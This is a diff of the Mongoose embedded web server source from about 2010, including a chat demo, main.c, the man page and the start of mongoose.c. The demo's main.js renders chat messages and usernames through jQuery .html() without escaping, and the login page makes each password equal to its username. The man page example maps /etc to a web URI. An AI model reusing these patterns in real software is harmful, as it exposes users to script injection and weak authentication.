+d,e);d={top:b.top-e.top+j,left:b.left-e.left+i};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-
+f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=this.offsetParent||s.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],j;if(!e)return null;if(f!==w)return this.each(function(){if(j=wa(this))j.scrollTo(!a?f:c(j).scrollLeft(),a?f:c(j).scrollTop());else this[d]=f});else return(j=wa(e))?"pageXOffset"in j?j[a?"pageYOffset":
+"pageXOffset"]:c.support.boxModel&&j.document.documentElement[d]||j.document.body[d]:e[d]}});c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(j){var i=c(this);i[d](f.call(this,j,i[d]()))});return"scrollTo"in
+e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===w?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});A.jQuery=A.$=c})(window);

+ 45 - 0
examples/html/login.html

@@ -0,0 +1,45 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" dir="ltr"> 
+  <!-- This file is part of the  Mongoose project,
+    http://code.google.com/p/mongoose -->
+  <head>
+    <title>Mongoose chat: login</title>
+    <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
+    <!--
+      Note that this page is self-sufficient, it does not load any other
+      CSS or Javascript file. This is done so because only this page is
+      allowed for non-authorized users. If we want to load other files
+      from the frontend, we need to change backend code to allow those
+      for non-authorized users. See chat.c :: must_authorize() function.
+    -->
+  </head>
+
+  <script>
+    window.onload = function() {
+      // Set correct action for the login form. We assume that the SSL port
+      // is the next one to insecure one.
+      var httpsPort = location.protocol.match(/https/) ? location.port :
+        parseInt(location.port) + 1;
+      document.forms[0].action = 'https://' + location.hostname + ':' +
+        httpsPort + '/authorize';
+    };
+  </script>
+
+  <body>
+    <center>
+      <h2>Mongoose chat server login</h2>
+      <div style="max-width: 30em;">
+        Username can be any string that consists of English letters only.
+	The password must be the same as username. Example:
+	username "joe", password "joe". Or, username "Bob", password "Bob".
+      </div>
+      <br/>
+      <form>
+        <input type="text" name="user"></input><br/>
+        <input type="text" name="password"></input><br/>
+        <input type="submit" value="Login"></input>
+      </form>
+    </center>
+  </body>
+</html>

+ 86 - 0
examples/html/main.js

@@ -0,0 +1,86 @@
+// This file is part of Mongoose project, http://code.google.com/p/mongoose
+// $Id: main.js 514 2010-05-03 11:06:27Z valenok $
+
+var chat = {
+  // Backend URL, string.
+  // 'http://backend.address.com' or '' if backend is the same as frontend
+  backendUrl: '',
+  maxVisibleMessages: 10,
+  errorMessageFadeOutTimeoutMs: 2000,
+  errorMessageFadeOutTimer: null,
+  lastMessageId: 0,
+};
+
+chat.refresh = function(data) {
+  $.each(data, function(index, entry) {
+    var row = $('<div>').addClass('message-row').appendTo('#mml');
+    var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString();
+    $('<span>').addClass('message-timestamp').html(
+      '[' + timestamp + ']').prependTo(row);
+    $('<span>').addClass('message-user').html(entry.user + ':').appendTo(row);
+    $('<span>').addClass('message-text').html(entry.text).appendTo(row);
+    chat.lastMessageId = Math.max(chat.lastMessageId, entry.id) + 1;
+  });
+
+  // TODO(lsm): keep only chat.maxVisibleMessages, delete older ones.
+  /*
+  while ($('#mml').children().length < chat.maxVisibleMessages) {
+    $('#mml').children()[0].remove();
+  }
+  */
+};
+
+chat.getMessages = function() {
+  $.ajax({
+    dataType: 'jsonp',
+    url: chat.backendUrl + '/ajax/get_messages',
+    data: {last_id: chat.lastMessageId},
+    success: chat.refresh,
+    error: function() {
+    },
+  });
+};
+
+chat.handleMenuItemClick = function(ev) {
+  $('.menu-item').removeClass('menu-item-selected');  // Deselect menu buttons
+  $(this).addClass('menu-item-selected');  // Select clicked button
+  $('.main').addClass('hidden');  // Hide all main windows
+  $('#' + $(this).attr('name')).removeClass('hidden');  // Show main window
+};
+
+chat.showError = function(message) {
+  $('#error').html(message).fadeIn('fast');
+  window.clearTimeout(chat.errorMessageFadeOutTimer);
+  chat.errorMessageFadeOutTimer = window.setTimeout(function() {
+      $('#error').fadeOut('slow');
+  }, chat.errorMessageFadeOutTimeoutMs);
+};
+
+chat.handleMessageInput = function(ev) {
+  var input = ev.target;
+  if (ev.keyCode != 13 || !input.value)
+    return;
+  input.disabled = true;
+  $.ajax({
+    dataType: 'jsonp',
+    url: chat.backendUrl + '/ajax/send_message',
+    data: {text: input.value},
+    success: function(ev) {
+      input.value = '';
+      input.disabled = false;
+      chat.getMessages();
+    },
+    error: function(ev) {
+      chat.showError('Error sending message');
+      input.disabled = false;
+    },
+  });
+};
+
+$(document).ready(function() {
+  $('.menu-item').click(chat.handleMenuItemClick);
+  $('.message-input').keypress(chat.handleMessageInput);
+  chat.getMessages();
+});
+
+// vim:ts=2:sw=2:et

+ 131 - 0
examples/html/style.css

@@ -0,0 +1,131 @@
+/*
+ * vim:ts=2:sw=2:et:ai
+ */
+
+body {
+  font: 13px Arial; margin: 0.5em 1em;
+}
+
+.infobox {
+  background: #eed;
+  padding: 1px 1em;
+}
+
+.help-message {
+  color: #aaa;
+}
+
+#middle {
+  margin: 0.5em 0;
+}
+
+#error {
+  background: #c44;
+  color: white;
+  font-weight: bold;
+}
+
+#content, .menu-item-selected, .chat-title, .chat-content {
+  background: #c3d9ff;
+}
+
+#content {
+  overflow: hidden;
+  min-height: 7em;
+  padding: 1em;
+}
+
+.chat-title {
+  padding: 1px 1ex;
+}
+
+.chat-content {
+ padding: 1ex;
+}
+
+.chat-window {
+}
+
+.message-row {
+  margin: 2px;
+  border-bottom: 1px solid #bbb;
+}
+
+.message-timestamp {
+  color: #484;
+}
+
+.message-user {
+  margin-left: 0.5em;
+  font-weight: bold;
+}
+
+.message-text {
+  margin-left: 0.5em;
+}
+
+.main {
+  padding: 0.5em;
+  background: #e0ecff;
+}
+
+#menu {
+  margin-top: 1em;
+  min-width: 7em;
+  float: left;
+}
+
+#footer {
+  position: fixed;
+  bottom: 0;
+  right: 0;
+  color: #ccc;
+  padding: 0.5em;
+}
+
+.section {
+  clear: both;
+}
+
+.hidden {
+  display: none;
+}
+
+.menu-item {
+  cursor: pointer;
+  padding: 0.1em 0.5em;
+}
+
+.menu-item-selected {
+  font-weight: bold;
+}
+
+.message-list {
+  min-height: 1em;
+  background: white;
+  margin: 0.5em 0;
+}
+
+.rounded {
+  border-radius: 6px;
+  -moz-border-radius: 6px;
+  -webkit-border-radius: 6px;
+}
+
+.left-rounded {
+  border-radius: 6px 0 0 6px;
+  -moz-border-radius: 6px 0 0 6px;
+  -webkit-border-radius: 6px 0 0 6px;
+}
+
+.bottom-rounded {
+  border-radius: 0 0 6px 6px;
+  -moz-border-radius: 0 0 6px 6px;
+  -webkit-border-radius: 0 0 6px 6px;
+}
+
+.top-rounded {
+  border-radius: 6px 6px 0 0;
+  -moz-border-radius: 6px 6px 0 0;
+  -webkit-border-radius: 6px 6px 0 0;
+}

+ 221 - 0
main.c

@@ -0,0 +1,221 @@
+/*
+ * Copyright (c) 2004-2009 Sergey Lyubka
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ *
+ * $Id: main.c 518 2010-05-03 12:55:35Z valenok $
+ */
+ 
+#if defined(_WIN32)
+#define _CRT_SECURE_NO_WARNINGS	/* Disable deprecation warning in VS2005 */
+#endif /* _WIN32 */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <string.h>
+#include <errno.h>
+#include <limits.h>
+
+#include "mongoose.h"
+
+#ifdef _WIN32
+#include <windows.h>
+#include <winsvc.h>
+#define DIRSEP			'\\'
+#define	snprintf		_snprintf
+#if !defined(__LCC__)
+#define	strdup(x)		_strdup(x)
+#endif /* !MINGW */
+#define	sleep(x)		Sleep((x) * 1000)
+#else
+#include <sys/wait.h>
+#include <unistd.h>		/* For pause() */
+#define DIRSEP '/'
+#endif /* _WIN32 */
+
+static int exit_flag;	                /* Program termination flag	*/
+
+#if !defined(CONFIG_FILE)
+#define	CONFIG_FILE		"mongoose.conf"
+#endif /* !CONFIG_FILE */
+
+static void
+signal_handler(int sig_num)
+{
+#if !defined(_WIN32)
+	if (sig_num == SIGCHLD) {
+		do {
+		} while (waitpid(-1, &sig_num, WNOHANG) > 0);
+	} else
+#endif /* !_WIN32 */
+	{
+		exit_flag = sig_num;
+	}
+}
+
+/*
+ * Show usage string and exit.
+ */
+static void
+show_usage_and_exit(void)
+{
+	mg_show_usage_string(stderr);
+	exit(EXIT_FAILURE);
+}
+
+/*
+ * Edit the passwords file.
+ */
+static int
+mg_edit_passwords(const char *fname, const char *domain,
+		const char *user, const char *pass)
+{
+	struct mg_context	*ctx;
+	int			retval;
+
+	ctx = mg_start();
+	(void) mg_set_option(ctx, "auth_realm", domain);
+	retval = mg_modify_passwords_file(ctx, fname, user, pass);
+	mg_stop(ctx);
+
+	return (retval);
+}
+
+static void
+process_command_line_arguments(struct mg_context *ctx, char *argv[])
+{
+	const char	*config_file = CONFIG_FILE;
+	char		line[512], opt[512], *vals[100],
+				val[512], path[FILENAME_MAX], *p;
+	FILE		*fp;
+	size_t		i, line_no = 0;
+
+	/* First find out, which config file to open */
+	for (i = 1; argv[i] != NULL && argv[i][0] == '-'; i += 2)
+		if (argv[i + 1] == NULL)
+			show_usage_and_exit();
+
+	if (argv[i] != NULL && argv[i + 1] != NULL) {
+		/* More than one non-option arguments are given */
+		show_usage_and_exit();
+	} else if (argv[i] != NULL) {
+		/* Just one non-option argument is given, this is config file */
+		config_file = argv[i];
+	} else {
+		/* No config file specified. Look for one where binary lives */
+		if ((p = strrchr(argv[0], DIRSEP)) != 0) {
+			(void) snprintf(path, sizeof(path), "%.*s%s",
+			    (int) (p - argv[0]) + 1, argv[0], config_file);
+			config_file = path;
+		}
+	}
+
+	fp = fopen(config_file, "r");
+
+	/* If config file was set in command line and open failed, exit */
+	if (fp == NULL && argv[i] != NULL) {
+		(void) fprintf(stderr, "cannot open config file %s: %s\n",
+		    config_file, strerror(errno));
+		exit(EXIT_FAILURE);
+	}
+
+	/* Reset temporary value holders */
+	(void) memset(vals, 0, sizeof(vals));
+
+	if (fp != NULL) {
+		(void) printf("Loading config file %s\n", config_file);
+
+		/* Loop over the lines in config file */
+		while (fgets(line, sizeof(line), fp) != NULL) {
+
+			line_no++;
+
+			/* Ignore empty lines and comments */
+			if (line[0] == '#' || line[0] == '\n')
+				continue;
+
+			if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
+				fprintf(stderr, "%s: line %d is invalid\n",
+				    config_file, (int) line_no);
+				exit(EXIT_FAILURE);
+			}
+			if (mg_set_option(ctx, opt, val) != 1)
+				exit(EXIT_FAILURE);
+		}
+
+		(void) fclose(fp);
+	}
+
+	/* Now pass through the command line options */
+	for (i = 1; argv[i] != NULL && argv[i][0] == '-'; i += 2)
+		if (mg_set_option(ctx, &argv[i][1], argv[i + 1]) != 1)
+			exit(EXIT_FAILURE);
+}
+
+int
+main(int argc, char *argv[])
+{
+	struct mg_context	*ctx;
+	char			ports[1024], web_root[1024];
+
+	if (argc > 1 && argv[1][0] == '-' && argv[1][1] == 'A') {
+		if (argc != 6)
+			show_usage_and_exit();
+		exit(mg_edit_passwords(argv[2], argv[3], argv[4], argv[5]) ==
+		    MG_SUCCESS ? EXIT_SUCCESS : EXIT_FAILURE);
+	}
+
+	if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help")))
+		show_usage_and_exit();
+
+#ifndef _WIN32
+	(void) signal(SIGCHLD, signal_handler);
+#endif /* _WIN32 */
+	(void) signal(SIGTERM, signal_handler);
+	(void) signal(SIGINT, signal_handler);
+
+	if ((ctx = mg_start()) == NULL) {
+		(void) printf("%s\n", "Cannot initialize Mongoose context");
+		exit(EXIT_FAILURE);
+	}
+
+	process_command_line_arguments(ctx, argv);
+	(void) mg_get_option(ctx, "ports", ports, sizeof(ports));
+	if (ports[0] == '\0' &&
+	    mg_set_option(ctx, "ports", "8080") != MG_SUCCESS)
+		exit(EXIT_FAILURE);
+
+	(void) mg_get_option(ctx, "ports", ports, sizeof(ports));
+	(void) mg_get_option(ctx, "root", web_root, sizeof(web_root));
+	(void) printf("Mongoose %s started on port(s) \"%s\", "
+	    "serving directory \"%s\"\n", mg_version(), ports, web_root);
+
+	fflush(stdout);
+	while (exit_flag == 0)
+		sleep(1);
+
+	(void) printf("Exiting on signal %d, "
+	    "waiting for all threads to finish...", exit_flag);
+	fflush(stdout);
+	mg_stop(ctx);
+	(void) printf("%s", " done.\n");
+
+	return (EXIT_SUCCESS);
+}

+ 184 - 0
mongoose.1

@@ -0,0 +1,184 @@
+.\" Process this file with
+.\" groff -man -Tascii mongoose.1
+.\" $Id: mongoose.1,v 1.12 2008/11/29 15:32:42 drozd Exp $
+.Dd Dec 1, 2008
+.Dt mongoose 1
+.Sh NAME
+.Nm mongoose
+.Nd lightweight web server
+.Sh SYNOPSIS
+.Nm
+.Op Ar options
+.Op Ar config_file
+.Nm
+.Fl A Ar htpasswd_file domain_name user_name password
+.Sh DESCRIPTION
+.Nm
+is small, fast and easy to use web server with CGI, SSL, Digest Authorization
+support.
+.Pp
+.Nm
+does not detach from terminal, and uses current working directory
+as the web root, unless
+.Fl root
+option is specified.
+.Pp
+It is possible to specify multiple ports to listen on. For example, to
+make
+.Nm
+listen on HTTP port 80 and HTTPS port 443, one should start it as
+.Dq mongoose -ssl_cert cert.pem -ports 80,443s .
+.Pp
+Options may be specified in any order, with one exception: if SSL listening
+port is specified in the -ports option, then -ssl_cert option must be set
+before -ports option.
+.Pp
+Unlike other web servers,
+.Nm
+does not expect CGI scripts to be put in a special directory. CGI scripts may
+be anywhere. CGI files are recognized by the file extension.
+.Pp
+SSI files are also recognized by extension. Unknown SSI directives are silently
+ignored. Currently, two SSI directives supported, "include" and "exec". For the
+"include" directive, included file name can be specified in three different
+ways. Below is the summary of supported SSI directives:
+.Bl -bullet
+.It
+<!--#exec "shell command"--> Execute shell command.
+.It
+<!--#include "path"--> File path must be relative to the current document.
+.It
+<!--#include virtual="path"--> File path must be relative to the document root.
+.It
+<!--#include file="path"--> File path must be the absolute path.
+.El
+.Pp
+.Nm
+can use the configuration file. By default, it is "mongoose.conf", and if it
+is present in the same directory where
+.Nm
+lives, the command line options are read from it. Alternatively, the
+configuration file may be specified as a last argument. The format of the
+configuration file is exactly the same as for the command line options, the
+only difference is that the command line options must be specified on
+separate lines, and leading dashes for option names must be omitted.
+Lines beginning with '#' are regarded as comments and ignored.
+.Pp
+.Sh OPTIONS
+.Bl -tag -width indent
+.It Fl A Ar htpasswd_file domain_name user_name password
+Add/edit user's password in the passwords file. Deleting users can be done
+with any text editor. Functionality similar to Apache's
+.Ic htdigest
+utility.
+.It Fl access_log Ar file
+Access log file. Default: not set, no logging is done.
+.It Fl acl Ar (+|-)x.x.x.x[/x],...
+Specify access control list (ACL). ACL is a comma separated list
+of IP subnets, each subnet is prepended by '-' or '+' sign. Plus means allow,
+minus means deny. If subnet mask is
+omitted, like "-1.2.3.4", then it means single IP address. Mask may vary
+from 0 to 32 inclusive. On each request, full list is traversed, and
+last match wins. Default: not set, allow all.
+.It Fl admin_uri Ar uri
+If set,
+.Nm
+creates special administrative URI where options may be changed at runtime.
+This URI probably wants to be password-protected, look at
+.Fl protect
+option, and in the EXAMPLES section on how to do it. Default: not set.
+.It Fl aliases Ar list
+This options gives an ability to serve the directories outside web root
+by sort of symbolic linking to certain URI. The
+.Ar list
+must be comma-separated list of URI=PATH pairs, like this:
+"/etc/=/my_etc,/tmp=/my_tmp". Default: not set.
+.It Fl auth_PUT Ar file
+PUT and DELETE passwords file. This must be specified if PUT or
+DELETE methods are used. Default: not set.
+.It Fl auth_gpass Ar file
+Location of global passwords file. When set, per-directory .htpasswd files are
+ignored, and all accessed must be authorised against global passwords file.
+Default: not set.
+.It Fl auth_realm Ar domain_name
+Authorization realm. Default: "mydomain.com".
+.It Fl cgi_env Ar list
+Pass environment variables to the CGI script in addition to standard ones.
+The list must be comma-separated list of X=Y pairs, like this:
+"VARIABLE1=VALUE1,VARIABLE2=VALUE2".  Default: not set.
+.It Fl cgi_ext Ar list
+Comma-separated list of CGI extensions.  All files having these extensions
+are treated as CGI scripts. Default: "cgi,pl,php"
+.It Fl cgi_interp Ar file
+Force
+.Ar file
+to be a CGI interpreter for all CGI scripts. By default this option is not
+set, and
+.Nm
+decides which interpreter to use by looking at the first line of CGI script.
+.It Fl dir_list Ar yes|no
+Enable/disable directory listing. Default: "1" (enabled).
+.It Fl error_log Ar file
+Error log file. Default: not set, no errors are logged.
+.It Fl idle_time Ar num_seconds
+Number of seconds worker thread waits for some work before exit. Default: 10
+.It Fl index_files Ar list
+Comma-separated list of files to be treated as directory index files.
+Default: index.html,index.htm,index.cgi
+.It Fl max_threads Ar number
+Maximum number of worker threads to start. Default: 100
+.It Fl mime_types Ar list
+Additional to builtin mime types, in form
+"extension1=type1,extension2=type2,...". Extension must include dot.
+.It Fl ports Ar port_list
+Comma-separated list of ports to listen on. If the port is SSL, a letter 's'
+must be appeneded, for example, "-ports 80,443s" will open port 80 and port 443,
+and connections on port 443 will be SSL-ed. It is possible to specify an
+IP address to bind to. In this case, an IP address and a colon must be
+prepended to the port number, for example, "-ports 127.0.0.1:8080". Note that
+if SSL listening port is requested, then
+.Fl ssl_cert
+option must specified BEFORE
+.Fl ports
+option. Default: 8080
+.It Fl protect Ar list
+Comma separated list of URI=PATH pairs, specifying that given URIs
+must be protected with respected password files. Default: not set.
+.It Fl root Ar directory
+Location of the WWW root directory. Default: working directory from which
+.Nm
+has been started.
+.It Fl ssi_ext Ar list
+Comma separated list of SSI extensions. Default: "shtml,shtm".
+.It Fl ssl_cert Ar pem_file
+Location of SSL certificate file. Default: not set.
+.It Fl uid Ar login
+Switch to given user after startup. Default: not set.
+.El
+.Pp
+.Sh EMBEDDING
+.Nm
+was designed to be embeddable into C/C++ applications. Since the
+source code is contained in single C file, it is fairly easy to embed it,
+and to follow the updates. Please refer to http://code.google.com/p/mongoose
+for details.
+.Pp
+.Sh EXAMPLES
+.Bl -tag -width indent
+.It Nm Fl root Ar /var/www Fl ssl_cert Ar /etc/cert.pem Fl ports Ar 8080,8043s Fl aliases Ar /aa=/tmp,/bb=/etc
+Start listening on port 8080 for HTTP, and 8043 for HTTPS connections.
+Use /etc/cert.pem as SSL certificate file. Web root is /var/www. In addition,
+map directory /tmp to URI /aa, directory /etc to URI /bb.
+.It Nm Fl acl Ar -0.0.0.0/0,+10.0.0.0/8,+1.2.3.4
+Deny connections from everywhere, allow only IP address 1.2.3.4 and
+all IP addresses from 10.0.0.0/8 subnet to connect.
+.It Nm Fl admin_uri Ar /ctl Fl protect Ar /ctl=/tmp/passwords.txt
+Create an administrative URI "/ctl" where
+options may be changed at runtime, and protect that URI with authorization.
+.El
+.Pp
+.Sh COPYRIGHT
+.Nm
+is licensed under the terms of the MIT license.
+.Sh AUTHOR
+.An Sergey Lyubka Aq valenok@gmail.com .

+ 4553 - 0
mongoose.c

@@ -0,0 +1,4553 @@
+/*
+ * Copyright (c) 2004-2009 Sergey Lyubka
+ * Portions Copyright (c) 2009 Gilbert Wellisch
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ *
+ * $Id: mongoose.c 517 2010-05-03 12:54:59Z valenok $
+ */
+
+#if defined(_WIN32)
+#define _CRT_SECURE_NO_WARNINGS	/* Disable deprecation warning in VS2005 */
+#endif /* _WIN32 */
+
+#ifndef _WIN32_WCE /* Some ANSI #includes are not available on Windows CE */
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <errno.h>
+#include <signal.h>
+#include <fcntl.h>
+#endif /* !_WIN32_WCE */
+
+#include <time.h>
+#include <stdlib.h>
+#include <stdarg.h>
+#include <assert.h>
+#include <string.h>
+#include <ctype.h>
+#include <limits.h>
+#include <stddef.h>
+#include <stdio.h>
+
+#if defined(_WIN32)		/* Windows specific #includes and #defines */
+#define	_WIN32_WINNT	0x0400	/* To make it link in VS2005 */
+#include <windows.h>
+
+#ifndef _WIN32_WCE
+#include <process.h>
+#include <direct.h>
+#include <io.h>
+#else /* _WIN32_WCE */
+/* Windows CE-specific definitions */
+#include <winsock2.h>
+#define NO_CGI	/* WinCE has no pipes */
+#define NO_SSI	/* WinCE has no pipes */
+
+#define FILENAME_MAX	MAX_PATH
+#define BUFSIZ		4096
+typedef long off_t;
+
+#define errno			GetLastError()
+#define strerror(x)		_ultoa(x, (char *) _alloca(sizeof(x) *3 ), 10)
+#endif /* _WIN32_WCE */
+
+#define EPOCH_DIFF	0x019DB1DED53E8000 /* 116444736000000000 nsecs */
+#define RATE_DIFF	10000000 /* 100 nsecs */
+#define MAKEUQUAD(lo, hi)	((uint64_t)(((uint32_t)(lo)) | \
+				((uint64_t)((uint32_t)(hi))) << 32))
+#define	SYS2UNIX_TIME(lo, hi) \
+	(time_t) ((MAKEUQUAD((lo), (hi)) - EPOCH_DIFF) / RATE_DIFF)
+
+/*
+ * Visual Studio 6 does not know __func__ or __FUNCTION__
+ * The rest of MS compilers use __FUNCTION__, not C99 __func__
+ * Also use _strtoui64 on modern M$ compilers
+ */
+#if defined(_MSC_VER) && _MSC_VER < 1300
+#define	STRX(x)			#x
+#define	STR(x)			STRX(x)
+#define	__func__		"line " STR(__LINE__)
+#define	strtoull(x, y, z)	strtoul(x, y, z)
+#else
+#define	__func__		__FUNCTION__
+#define	strtoull(x, y, z)	_strtoui64(x, y, z)
+#endif /* _MSC_VER */
+
+#define	ERRNO			GetLastError()
+#define	NO_SOCKLEN_T
+#define	SSL_LIB			"ssleay32.dll"
+#define	CRYPTO_LIB		"libeay32.dll"
+#define	DIRSEP			'\\'
+#define	IS_DIRSEP_CHAR(c)	((c) == '/' || (c) == '\\')
+#define	O_NONBLOCK		0
+#define	EWOULDBLOCK		WSAEWOULDBLOCK
+#define	_POSIX_
+#define INT64_FMT		"I64d"
+
+#define	SHUT_WR			1
+#define	snprintf		_snprintf
+#define	vsnprintf		_vsnprintf
+#define	sleep(x)		Sleep((x) * 1000)
+
+#define	popen(x, y)		_popen(x, y)
+#define	pclose(x)		_pclose(x)
+#define	close(x)		_close(x)
+#define	dlsym(x,y)		GetProcAddress((HINSTANCE) (x), (y))
+#define	RTLD_LAZY		0
+#define	fseeko(x, y, z)		fseek((x), (y), (z))
+#define	fdopen(x, y)		_fdopen((x), (y))
+#define	write(x, y, z)		_write((x), (y), (unsigned) z)
+#define	read(x, y, z)		_read((x), (y), (unsigned) z)
+#define	flockfile(x)		(void) 0
+#define	funlockfile(x)		(void) 0
+
+#if !defined(fileno)
+#define	fileno(x)		_fileno(x)
+#endif /* !fileno MINGW #defines fileno */
+
+typedef HANDLE pthread_mutex_t;
+typedef HANDLE pthread_cond_t;
+typedef DWORD pthread_t;
+#define pid_t HANDLE	/* MINGW typedefs pid_t to int. Using #define here. */
+
+struct timespec {
+	long tv_nsec;
+	long tv_sec;
+};
+
+static int pthread_mutex_lock(pthread_mutex_t *);
+static int pthread_mutex_unlock(pthread_mutex_t *);
+
+#if defined(HAVE_STDINT)
+#include <stdint.h>
+#else
+typedef unsigned int		uint32_t;
+typedef unsigned short		uint16_t;
+typedef unsigned __int64	uint64_t;
+typedef __int64			int64_t;
+#define	INT64_MAX		9223372036854775807
+#endif /* HAVE_STDINT */
+
+/*
+ * POSIX dirent interface
+ */
+struct dirent {
+	char	d_name[FILENAME_MAX];
+};
+
+typedef struct DIR {
+	HANDLE			handle;
+	WIN32_FIND_DATAW	info;
+	struct dirent		result;
+} DIR;
+
+#else				/* UNIX  specific	*/
+#include <sys/wait.h>
+#include <sys/socket.h>
+#include <sys/select.h>
+#include <sys/mman.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <sys/time.h>
+#include <stdint.h>
+#include <inttypes.h>
+
+#include <pwd.h>
+#include <unistd.h>
+#include <dirent.h>
+#include <dlfcn.h>
+#include <pthread.h>
+#define	SSL_LIB			"libssl.so"
+#define	CRYPTO_LIB		"libcrypto.so"
+#define	DIRSEP			'/'
+#define	IS_DIRSEP_CHAR(c)	((c) == '/')
+#define	O_BINARY		0
+#define	closesocket(a)		close(a)
+#define	mg_fopen(x, y)		fopen(x, y)
+#define	mg_mkdir(x, y)		mkdir(x, y)
+#define	mg_remove(x)		remove(x)
+#define	mg_rename(x, y)		rename(x, y)
+#define	ERRNO			errno
+#define	INVALID_SOCKET		(-1)
+#define INT64_FMT		PRId64
+typedef int SOCKET;
+
+#endif /* End of Windows and UNIX specific includes */
+
+#include "mongoose.h"
+
+#define	MONGOOSE_VERSION	"2.9"
+#define	PASSWORDS_FILE_NAME	".htpasswd"
+#define	CGI_ENVIRONMENT_SIZE	4096
+#define	MAX_CGI_ENVIR_VARS	64
+#define	MAX_REQUEST_SIZE	8192
+#define	MAX_LISTENING_SOCKETS	10
+#define	MAX_CALLBACKS		20
+#define	ARRAY_SIZE(array)	(sizeof(array) / sizeof(array[0]))
+#define	DEBUG_MGS_PREFIX	"*** Mongoose debug *** "
+
+#if defined(DEBUG)
+#define	DEBUG_TRACE(x) do {printf x; putchar('\n'); fflush(stdout);} while (0)
+#else
+#define DEBUG_TRACE(x)
+#endif /* DEBUG */
+
+/*
+ * Darwin prior to 7.0 and Win32 do not have socklen_t
+ */
+#ifdef NO_SOCKLEN_T
+typedef int socklen_t;
+#endif /* NO_SOCKLEN_T */
+
+#if !defined(FALSE)
+enum {FALSE, TRUE};
+#endif /* !FALSE */
+
+typedef int bool_t;
+typedef void * (*mg_thread_func_t)(void *);
+
+static const char *http_500_error = "Internal Server Error";
+
+/*
+ * Snatched from OpenSSL includes. I put the prototypes here to be independent
+ * from the OpenSSL source installation. Having this, mongoose + SSL can be
+ * built on any system with binary SSL libraries installed.
+ */
+typedef struct ssl_st SSL;
+typedef struct ssl_method_st SSL_METHOD;
+typedef struct ssl_ctx_st SSL_CTX;
+
+#define	SSL_ERROR_WANT_READ	2
+#define	SSL_ERROR_WANT_WRITE	3
+#define SSL_FILETYPE_PEM	1
+#define	CRYPTO_LOCK		1
+
+/*
+ * Dynamically loaded SSL functionality
+ */
+struct ssl_func {
+	const char	*name;		/* SSL function name	*/
+	void		(*ptr)(void);	/* Function pointer	*/
+};
+
+#define	SSL_free(x)	(* (void (*)(SSL *)) ssl_sw[0].ptr)(x)
+#define	SSL_accept(x)	(* (int (*)(SSL *)) ssl_sw[1].ptr)(x)
